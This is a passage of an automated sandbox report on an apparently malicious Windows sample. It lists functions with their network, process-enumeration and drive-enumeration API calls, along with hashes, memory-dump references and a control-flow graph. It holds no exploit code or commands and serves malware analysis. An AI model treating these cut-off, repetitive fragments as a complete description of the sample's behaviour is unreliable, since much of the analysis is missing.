                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: Startup
                                            • String ID: if_nametoindex$iphlpapi.dll
                                            • API String ID: 724789610-3097795196
                                            • Opcode ID: 5b15405443bc4ff6212dac0666a177672e7535ef259ab2753d0afa9866333159
                                            • Instruction ID: c2ff920dcadc884b30735479247f67e72361111772b72a26919ebe8e6393ba35
                                            • Opcode Fuzzy Hash: 5b15405443bc4ff6212dac0666a177672e7535ef259ab2753d0afa9866333159
                                            • Instruction Fuzzy Hash: E80176909503C582EB12BB389C27B2B36906F51304F870A28EC9C961D2F729C588C262
                                            Function 0049AA30 Relevance: 4.9, APIs: 3, Instructions: 377networkCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1824 49aa30-49aa64 1826 49aa6a-49aaa7 call 48e730 1824->1826 1827 49ab04-49ab09 1824->1827 1831 49aaa9-49aabd 1826->1831 1832 49ab0e-49ab13 1826->1832 1829 49ae80-49ae89 1827->1829 1833 49ab18-49ab50 1831->1833 1834 49aabf-49aac7 1831->1834 1835 49ae2e 1832->1835 1842 49ab58-49ab6d 1833->1842 1834->1835 1836 49aacd-49ab02 1834->1836 1837 49ae30-49ae4a call 48ea60 call 48ebf0 1835->1837 1836->1842 1849 49ae4c-49ae57 1837->1849 1850 49ae75-49ae7d 1837->1850 1844 49ab6f-49ab73 1842->1844 1845 49ab96-49abab socket 1842->1845 1844->1845 1846 49ab75-49ab8f 1844->1846 1845->1835 1848 49abb1-49abc5 1845->1848 1846->1848 1859 49ab91 1846->1859 1851 49abd0-49abed ioctlsocket 1848->1851 1852 49abc7-49abca 1848->1852 1854 49ae59-49ae5e 1849->1854 1855 49ae6e-49ae6f 1849->1855 1850->1829 1857 49abef-49ac0a 1851->1857 1858 49ac10-49ac14 1851->1858 1852->1851 1856 49ad2e-49ad39 1852->1856 1854->1855 1862 49ae60-49ae6c 1854->1862 1855->1850 1860 49ad3b-49ad4c 1856->1860 1861 49ad52-49ad56 1856->1861 1857->1858 1868 49ae29 1857->1868 1863 49ac37-49ac41 1858->1863 1864 49ac16-49ac31 1858->1864 1859->1835 1860->1861 1860->1868 1861->1868 1869 49ad5c-49ad6b 1861->1869 1862->1850 1866 49ac7a-49ac7e 1863->1866 1867 49ac43-49ac46 1863->1867 1864->1863 1864->1868 1874 49ac80-49ac9b 1866->1874 1875 49ace7-49acfe 1866->1875 1871 49ac4c-49ac51 1867->1871 1872 49ad04-49ad08 1867->1872 1868->1835 1876 49ad70-49ad78 1869->1876 1871->1872 1879 49ac57-49ac78 1871->1879 1872->1856 1883 49ad0a-49ad28 1872->1883 1874->1875 1880 49ac9d-49acc1 1874->1880 1875->1872 1881 49ad7a-49ad7f 1876->1881 1882 49ada0-49adae connect 1876->1882 1884 49acc6-49acd7 1879->1884 1880->1884 1881->1882 1885 49ad81-49ad99 1881->1885 1886 49adb3-49adcf 1882->1886 1883->1856 1883->1868 1884->1868 1894 49acdd-49ace5 1884->1894 1885->1886 1892 49ae8a-49ae91 1886->1892 1893 49add5-49add8 1886->1893 1892->1837 1895 49adda-49addf 1893->1895 1896 49ade1-49adf1 1893->1896 1894->1872 1894->1875 1895->1876 1895->1896 1897 49ae0d-49ae12 1896->1897 1898 49adf3-49ae07 1896->1898 1899 49ae1a-49ae1c call 49af70 1897->1899 1900 49ae14-49ae17 1897->1900 1898->1897 1903 49aea8-49aead 1898->1903 1904 49ae21-49ae23 1899->1904 1900->1899 1903->1837 1905 49ae93-49ae9d 1904->1905 1906 49ae25-49ae27 1904->1906 1907 49aeaf-49aeb1 call 48e760 1905->1907 1908 49ae9f-49aea6 call 48e7c0 1905->1908 1906->1837 1912 49aeb6-49aebe 1907->1912 1908->1912 1913 49af1a-49af1f 1912->1913 1914 49aec0-49aedb call 48e180 1912->1914 1913->1837 1914->1837 1917 49aee1-49aeec 1914->1917 1918 49aeee-49aeff 1917->1918 1919 49af02-49af06 1917->1919 1918->1919 1920 49af08-49af0b 1919->1920 1921 49af0e-49af15 1919->1921 1920->1921 1921->1829
                                            APIs
                                            • socket.WS2_32(FFFFFFFF,?,00000000), ref: 0049AB9A
                                            • ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 0049ABE3
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: ioctlsocketsocket
                                            • String ID:
                                            • API String ID: 416004797-0
                                            • Opcode ID: d1b6e486b7955d4ad777c1f3a93562fb6e23687d4e160ebf5a705b9599b15f00
                                            • Instruction ID: 4583de98347b9dd995e4a39f0a38313514b929b5f5120aeaf7b91d2215ccd324
                                            • Opcode Fuzzy Hash: d1b6e486b7955d4ad777c1f3a93562fb6e23687d4e160ebf5a705b9599b15f00
                                            • Instruction Fuzzy Hash: 9BE1C0706043029BEF20CF24C885B6B7BA5EF85304F144A3EF9998B391D779D964CB96
                                            Function 003D78B0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: closesocket
                                            • String ID: FD %s:%d sclose(%d)
                                            • API String ID: 2781271927-3116021458
                                            • Opcode ID: 1b7f95cedb6c17caa9cc642fac67a0644ceefc8a46671bf36ac9a39649dbfa88
                                            • Instruction ID: 9a6d087d0d1d8eec91c5bae518a36dc14af1cb766a82627da3911e8f4542dafc
                                            • Opcode Fuzzy Hash: 1b7f95cedb6c17caa9cc642fac67a0644ceefc8a46671bf36ac9a39649dbfa88
                                            • Instruction Fuzzy Hash: ECD05E2390A2216B85216599BC49C5BBAA8AEC6F20B46085AF84877304E1219C0193E3
                                            Function 0049B060 Relevance: 3.0, APIs: 2, Instructions: 48networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • connect.WS2_32(-00000028,-00000028,-00000028,-00000001,-00000028,?,-00000028,0049B29E,?,00000000,?,?), ref: 0049B0B9
                                            • WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,00000000,0000000B,?,?,00483C41,00000000), ref: 0049B0C1
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: ErrorLastconnect
                                            • String ID:
                                            • API String ID: 374722065-0
                                            • Opcode ID: f3acb79c95f307ea9ea6f456e007c4b8c0074cac1785c3212a16b7d6ff7e2968
                                            • Instruction ID: ba3b4f9acc10a4726dd0443746b3390a10f63cd4aa2e006b050e5c90c2aea589
                                            • Opcode Fuzzy Hash: f3acb79c95f307ea9ea6f456e007c4b8c0074cac1785c3212a16b7d6ff7e2968
                                            • Instruction Fuzzy Hash: 0801D8322042009FCF205A69AD44F6BBB99FF89764F140735F978932D1D72AED508796
                                            Function 00484950 Relevance: 1.7, APIs: 1, Instructions: 170networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • gethostname.WS2_32(00000000,00000040), ref: 00484AA5
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: gethostname
                                            • String ID:
                                            • API String ID: 144339138-0
                                            • Opcode ID: 07fba42716b32791bfcdd5cbc4ffd2e1f0fc32808550a6cbbb69eeb00f4cc968
                                            • Instruction ID: 2c6142cba08dfa52119983c25aaa53bb071fcab90173db9bde628c90fb691610
                                            • Opcode Fuzzy Hash: 07fba42716b32791bfcdd5cbc4ffd2e1f0fc32808550a6cbbb69eeb00f4cc968
                                            • Instruction Fuzzy Hash: F251B2B06047028BE730AB75DD4972B76D4AF81319F141D3EE98A867D1E77DE844C70A
                                            Function 06DE063F Relevance: 1.6, APIs: 1, Instructions: 107COMMON
                                            Download Yara Rule
                                            APIs
                                            • Process32FirstW.KERNEL32(000000F1,?,?,06DE0395), ref: 06DE06D8
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666658957.0000000006DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6de0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: FirstProcess32
                                            • String ID:
                                            • API String ID: 2623510744-0
                                            • Opcode ID: 5cb677ddfa6d13b51d200ba38e80c320849160b52780f76b29fe76099ab95deb
                                            • Instruction ID: 55e538485dca7029e5c06235580c6eb322a475404d588efbe0d39826a5cc84b8
                                            • Opcode Fuzzy Hash: 5cb677ddfa6d13b51d200ba38e80c320849160b52780f76b29fe76099ab95deb
                                            • Instruction Fuzzy Hash: E911D3E754C121BE7382B0552F51AFB667ED5C6770330842AF487C2541D2D48DA594F1
                                            Function 06DE0674 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                            Download Yara Rule
                                            APIs
                                            • Process32FirstW.KERNEL32(000000F1,?,?,06DE0395), ref: 06DE06D8
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666658957.0000000006DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6de0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: FirstProcess32
                                            • String ID:
                                            • API String ID: 2623510744-0
                                            • Opcode ID: 161b7f4780b85d56fd2051bb814950e2b171734d038a078c110501d1157eaf0f
                                            • Instruction ID: 1754715725b37d353ede417b1c1faf30480b3fb2645a9cb6ce04ed4bb27ac93f
                                            • Opcode Fuzzy Hash: 161b7f4780b85d56fd2051bb814950e2b171734d038a078c110501d1157eaf0f
                                            • Instruction Fuzzy Hash: A21126E3A0C111BEB386B5115E816FA237EE5D6770330842EF087C6442D2E589A5C9B4
                                            Function 06DE0666 Relevance: 1.6, APIs: 1, Instructions: 92COMMON
                                            Download Yara Rule
                                            APIs
                                            • Process32FirstW.KERNEL32(000000F1,?,?,06DE0395), ref: 06DE06D8
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666658957.0000000006DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6de0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: FirstProcess32
                                            • String ID:
                                            • API String ID: 2623510744-0
                                            • Opcode ID: 744eb33f700caed9577ffd5cdf0482474f40532522eb0ae4080f293533eb7e59
                                            • Instruction ID: 2b100aefa04354fcef052ee2252ace5dcbde41a379ecd1d661f875f3bb86e957
                                            • Opcode Fuzzy Hash: 744eb33f700caed9577ffd5cdf0482474f40532522eb0ae4080f293533eb7e59
                                            • Instruction Fuzzy Hash: 4A1102F394D121BE7382B4512F916FA23BED4C6770330842EF087C2941D2D489A5C8F1
                                            Function 06DE068E Relevance: 1.6, APIs: 1, Instructions: 89COMMON
                                            Download Yara Rule
                                            APIs
                                            • Process32FirstW.KERNEL32(000000F1,?,?,06DE0395), ref: 06DE06D8
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666658957.0000000006DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6de0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: FirstProcess32
                                            • String ID:
                                            • API String ID: 2623510744-0
                                            • Opcode ID: e2661676915c3bd1a4f67c57b005865c9c46348231904b9b65499bf4bb1c7177
                                            • Instruction ID: 65d1495af703515cee15ec9681a0deacecd6551b37b9d2828b22992beba4e337
                                            • Opcode Fuzzy Hash: e2661676915c3bd1a4f67c57b005865c9c46348231904b9b65499bf4bb1c7177
                                            • Instruction Fuzzy Hash: D91102F790C111AEB382B5216E916FA63AED6C5B70730882AF487C7541D2E489A6C9B1
                                            Function 06DE06BC Relevance: 1.6, APIs: 1, Instructions: 78COMMON
                                            Download Yara Rule
                                            APIs
                                            • Process32FirstW.KERNEL32(000000F1,?,?,06DE0395), ref: 06DE06D8
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666658957.0000000006DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06DE0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6de0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: FirstProcess32
                                            • String ID:
                                            • API String ID: 2623510744-0
                                            • Opcode ID: 3dd5f66ac3ded1b90e3acd48d32df3edb25d58f050d1b1cd6eaaea6c821ef44a
                                            • Instruction ID: c3f20d06296ca0e661339c2a7502081af678aefd2fe23e9cd9ca67181732692b
                                            • Opcode Fuzzy Hash: 3dd5f66ac3ded1b90e3acd48d32df3edb25d58f050d1b1cd6eaaea6c821ef44a
                                            • Instruction Fuzzy Hash: 9C112BB2A0C115AEB383B9615E511FA777EEAC2770730842EF087C7981D6E58977C9E0
                                            Function 0049AF70 Relevance: 1.6, APIs: 1, Instructions: 51COMMON
                                            Download Yara Rule
                                            APIs
                                            • getsockname.WS2_32(?,?,00000080), ref: 0049AFD1
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: getsockname
                                            • String ID:
                                            • API String ID: 3358416759-0
                                            • Opcode ID: 931a53f1653578ad5b3f1b020b4d7664e622cae93ca662ce30796dca78325d96
                                            • Instruction ID: fe765c6f6398a4e4b5267c1be3ac4ea817155d262c03b9f762227d7ee6a46c72
                                            • Opcode Fuzzy Hash: 931a53f1653578ad5b3f1b020b4d7664e622cae93ca662ce30796dca78325d96
                                            • Instruction Fuzzy Hash: 3E119670808785D6EB268F1CD8027F6B7F4EFD0329F109619E59942550F7365AD68BC2
                                            Function 0049A920 Relevance: 1.5, APIs: 1, Instructions: 44networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • send.WS2_32(?,?,?,00000000,00000000,?), ref: 0049A97E
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: send
                                            • String ID:
                                            • API String ID: 2809346765-0
                                            • Opcode ID: d947eebb3ea980053877dc091f47cd991a68789e35300605b8dd4767b460646f
                                            • Instruction ID: 87b7888476e636d48c1e38870372378d65942e0a7e35a299d15173d0d9d46592
                                            • Opcode Fuzzy Hash: d947eebb3ea980053877dc091f47cd991a68789e35300605b8dd4767b460646f
                                            • Instruction Fuzzy Hash: BB0167B17117109FC7148F15DC45B56BBA5FF84721F0A8569E9941B361C331AC158BD1
                                            Function 06DB0382 Relevance: 1.5, APIs: 1, Instructions: 44COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetLogicalDrives.KERNELBASE ref: 06DB03D6
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666343470.0000000006DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6db0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: DrivesLogical
                                            • String ID:
                                            • API String ID: 999431828-0
                                            • Opcode ID: 769c566c9bc4c5269d457fa69495b48b907c359992b125f59acc580a20aa44d1
                                            • Instruction ID: 072479c1719ec3638062c96380f65b0edd89dbd0210910b40e25aa419d9c6c2e
                                            • Opcode Fuzzy Hash: 769c566c9bc4c5269d457fa69495b48b907c359992b125f59acc580a20aa44d1
                                            • Instruction Fuzzy Hash: 93E0EC9F64D912EEB2D16591134CEFB2E3997D6A71330B823A0875464DB0C48A4A54B2
                                            Function 06DB038A Relevance: 1.5, APIs: 1, Instructions: 43COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetLogicalDrives.KERNELBASE ref: 06DB03D6
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2666343470.0000000006DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_6db0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: DrivesLogical
                                            • String ID:
                                            • API String ID: 999431828-0
                                            • Opcode ID: 0a8484360ff540962ee443c8d403eb323953966586e509c786c168524d767de8
                                            • Instruction ID: 50876e7e24379355817ba3d1db2d0579b45cc7be78afad983c4d77ffe8277a39
                                            • Opcode Fuzzy Hash: 0a8484360ff540962ee443c8d403eb323953966586e509c786c168524d767de8
                                            • Instruction Fuzzy Hash: 38F02E5F60C902EEF2915691134CEFB6A399792A30330B923A08390509F4C44A4A58B2
                                            Function 0049AF30 Relevance: 1.5, APIs: 1, Instructions: 29networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • socket.WS2_32(?,0049B280,00000000,-00000001,00000000,0049B280,?,?,00000002,00000011,?,?,00000000,0000000B,?,?), ref: 0049AF66
                                            Memory Dump Source
